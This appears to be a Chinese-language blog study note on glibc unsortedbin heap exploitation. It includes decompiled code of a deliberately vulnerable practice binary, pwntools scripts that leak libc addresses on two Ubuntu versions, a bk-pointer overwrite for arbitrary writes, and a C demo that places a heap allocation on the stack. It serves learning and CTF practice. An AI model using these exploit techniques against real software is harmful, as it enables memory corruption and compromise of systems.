unsortedbinAttack

文章发布时间:

最后更新时间:

文章总字数:
2.1k

预计阅读时间:
10 分钟

距离上一篇堆的知识点很长时间了 这段时间主要是自己基础的梳理了一些简单的堆漏洞利用手法

本文讲述unsortedbin在不同环境下的利用办法

这一部分还是比较简单的

基础知识

这里先要有一个概念 在glibc版本2.26(可以简单记成18.04后)以后 新增了tcachebins 其机制会影响到堆块释放后进入unsortedbin

我们先留意一下随着glibc版本的不同 接着说回正文

一个堆块被释放以后 如果他的大小大于fastbin或者tcache的范围 那么他就会先进入unsortedbin

如果unsortedbin的链表中只有其一个堆块 那么他的fd域和bk域都将指向main_arean+0x88(这里的数值不是固定的)

此时如果用户再次申请一个chunk

1.如果该chunk的大小不超过unsortedbin中的chunk大小 那么就会分割出用户需要的

比如此时我再次申请一个0x40大小的堆块 就是从原来的free chunk中分割出来的 并且其fd和bk域的数值会保留下来

一起分配给了用户 所以我们可以利用这个特性泄露libc基址(如果程序有打印出chunk内容的机会)

这里有个小疑点 为什么用户新申请出来的chunk的fd和bk会和原来的chunk的不一样(待解)

ubuntu16.04泄露基址

1
2
3
4
5
6
[*] '/home/chen/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

自己编译了一个简单的堆题

程序主体就简单发一下各函数就行了 内容也不必看 就知道有个打印chunk内容的机会和堆溢出 uaf等漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int create()
{
void *v0; // rax
int v2; // [rsp+0h] [rbp-10h] BYREF
int v3; // [rsp+4h] [rbp-Ch] BYREF
void *v4; // [rsp+8h] [rbp-8h]

printf("Index: ");
__isoc99_scanf("%d", &v3);
LODWORD(v0) = v3;
if ( v3 <= 31 )
{
v0 = *(&Page + v3);
if ( !v0 )
{
printf("Size ");
__isoc99_scanf("%d", &v2);
if ( v2 > 256 )
{
LODWORD(v0) = puts("over size");
}
else
{
v0 = malloc(v2);
v4 = v0;
if ( v0 )
{
*(&Page + v3) = v4;
Size[v3] = v2;
LODWORD(v0) = puts("OK");
}
}
}
}
return v0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 edit()
{
__int64 result; // rax
unsigned int v1; // [rsp+Ch] [rbp-4h] BYREF

printf("Index: ");
__isoc99_scanf("%d", &v1);
result = v1;
if ( v1 <= 31 )
{
result = *(&Page + v1);
if ( result )
{
printf("Content: ");
result = vuln(*(&Page + v1), Size[v1]);
}
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
int show()
{
int result; // eax
int v1; // [rsp+Ch] [rbp-4h] BYREF

printf("Index: ");
__isoc99_scanf("%d", &v1);
result = v1;
if ( v1 <= 31 )
result = printf("Content: %s\n", *(&Page + v1));
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 del()
{
__int64 result; // rax
unsigned int v1; // [rsp+Ch] [rbp-4h] BYREF

printf("Index: ");
__isoc99_scanf("%d", &v1);
result = v1;
if ( v1 <= 31 )
{
free(*(&Page + v1));
*(&Page + v1) = 0LL;
result = v1;
Size[v1] = 0;
}
return result;
}

gdb动调exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import*
io = process("./pwn")
elf = ELF("./pwn")
context.log_level = "debug"

def create(index,size):
io.recvuntil(":")
io.sendline(b"1")
io.recvuntil("Index: ")
io.sendline(str(index))
io.recvuntil("Size ")
io.sendline(str(size))

def edit(index,payload):
io.recvuntil(":")
io.sendline(b"2")
io.recvuntil("Index: ")
io.sendline(str(index))
io.recvuntil("Content: ")
io.sendline(payload)

def delete(index):
io.recvuntil(":")
io.sendline(b"4")
io.recvuntil("Index: ")
io.sendline(str(index))

def show(index):
io.recvuntil(":")
io.sendline(b"3")
io.recvuntil("Index: ")
io.sendline(str(index))

create(1,0x88)
create(2,0x20)
delete(1)
create(3,0x48)
show(3)
io.recv()
1
2
3
4
5
[DEBUG] Received 0x2e bytes:
00000000 43 6f 6e 74 65 6e 74 3a 20 f8 7b d4 61 1a 7f 0a │Cont│ent:│ ·{·│a···│
00000010 31 2e 41 44 44 0a 32 2e 43 48 41 4e 47 45 0a 33 │1.AD│D·2.│CHAN│GE·3│
00000020 2e 50 52 49 4e 54 0a 34 2e 44 45 4c 0a 3a │.PRI│NT·4│.DEL│·:│
0000002e

最后成功泄露出libc地址

ubuntu 18.04泄露基址

二进制文件同上

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import*
io = process("./heap")
elf = ELF("./heap")
context.log_level = "debug"

def create(index,size):
io.recvuntil(":")
io.sendline(b"1")
io.recvuntil("Index: ")
io.sendline(str(index))
io.recvuntil("Size ")
io.sendline(str(size))

def edit(index,payload):
io.recvuntil(":")
io.sendline(b"2")
io.recvuntil("Index: ")
io.sendline(str(index))
io.recvuntil("Content: ")
io.sendline(payload)

def delete(index):
io.recvuntil(":")
io.sendline(b"4")
io.recvuntil("Index: ")
io.sendline(str(index))

def show(index):
io.recvuntil(":")
io.sendline(b"3")
io.recvuntil("Index: ")
io.sendline(str(index))

create(1,0x90)
create(2,0x20)
for i in range(3,10):
create(i,0x90)

for i in range(3,10):
delete(i)

delete(1)
create(10,0x90)
show(10)

办法就是利用 tcachebin的一条链表中只能存放7个chunk 只要我们把其填满了 那么再次释放一个相同大小的chunk就会进入unsortedbin

这里将我们最开始申请的chunk1释放以后 其就因为对应的tcachebin中位置已满 所以进入了unsortedbin 那么接下来利用show函数输出即可

1
2
3
4
5
[DEBUG] Received 0x2e bytes:
00000000 43 6f 6e 74 65 6e 74 3a 20 30 7d 05 ac 42 7f 0a │Cont│ent:│ 0}·│·B··│
00000010 31 2e 41 44 44 0a 32 2e 43 48 41 4e 47 45 0a 33 │1.AD│D·2.│CHAN│GE·3│
00000020 2e 50 52 49 4e 54 0a 34 2e 44 45 4c 0a 3a │.PRI│NT·4│.DEL│·:│
0000002e

这里同时也说明了一点 当tcachebin和unsortedbin中都有free chunk时 且用户申请的chunk大小小于等于二者时unsortedbin优先提供给用户

任意地址写

如果单独利用那么是比较鸡肋的一个漏洞点 但是如果配合其他漏洞一起使用 效果非常强大

主要利用的是unsortedbin取出后 会对其链表进行清空

1
2
3
4
5
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

其中bck在代码开始进行了赋值 bck = victim->bk;

也就是说如果我们修改了victim的bk域 就会使得unsorted_chunks (av)+0x18处修改为我们修改的bk域

以及我们修改的地址+0x10处填入unsorted_chunks (av)

调试环境 libc2.27

1
2
3
4
5
6
7
8
bss_addr = 0x602200
add(0x410,b'aaaa')#0
add(0x10,b'aaaa')#1
delete(0)
payload = p64(0)+p64(bss_addr-0x10)
edit(0,len(payload),payload)
add(0x410,b'aaaa')#2
debug()

chunk1用来防止chunk0进入unsortedbin后和top chunk合并

修改chunk0的bk域为bss_addr-0x10 这样到时候bss_addr 就会被写入unsorted_chunks (av)

动调看一下

image-20230311222348094

你会发现这时候由于main_arena的结构被破坏了 plmalloc仍然认为chunk0处于free状态 但是我们的chunk2确实是申请到了chunk0的空间

这时候如果我们想要再次申请一个chunk 就会报错 这一点要注意

image-20230311222553826

此时各地址的值都如我们预期想象的那样

unsorted bin into stack

漏洞的原理在于 plmalloc在申请chunk的时候会先去unsortebin中寻找合适的chunk 如果size不符合则通过bk指针索引下一个

如果我们修改chunk的size和bk 就可以误导plmalloc去对我们构造的fake chunk进行检查 如果通过了检查 就会分配fake chunk给用户

跟着下面这个程序动调一下就清楚了(不是我写的 我也不知道出处 可能是how2heap的?)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main() {
intptr_t stack_buffer[4] = {0};

fprintf(stderr, "Allocating the victim chunk");
intptr_t* victim = malloc(0x100);

fprintf(stderr, "Allocating another chunk to avoid consolidating the top chunk with the small one during the free()");
intptr_t* p1 = malloc(0x100);

fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin", victim);
free(victim);

fprintf(stderr, "Create a fake chunk on the stack");
fprintf(stderr, "Set size for next allocation and the bk pointer to any writable address");
stack_buffer[1] = 0x100 + 0x10;
stack_buffer[3] = (intptr_t)stack_buffer;

fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointern");
fprintf(stderr, "Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_memn");
victim[-1] = 32;
victim[1] = (intptr_t)stack_buffer;

fprintf(stderr, "Now next malloc will return the region of our fake chunk: %pn", &stack_buffer[2]);
fprintf(stderr, "malloc(0x100): %pn", malloc(0x100));
}
1
编译指令: gcc -g xxx.c   //加-g动调的时候就可以依据代码逐行进行

首先是申请了两个chunk chunk0用来误导plmalloc chunk1用来防止chunk0和top chunk合并

image-20230311225736485

释放chunk0 进入unsortedbin

image-20230311225827543

伪造局部变量数组(也就是位于栈上的一块内存) 修改size域和bk域 bk域是为了迎合检查 双向链表的完整性

image-20230311225931787

修改chunk0的size域和bk域 误导plmalloc

image-20230311230601067

最后申请一个0x100大小的chunk 分配到的区域为栈上的数组image-20230311230656926

image-20230311230747477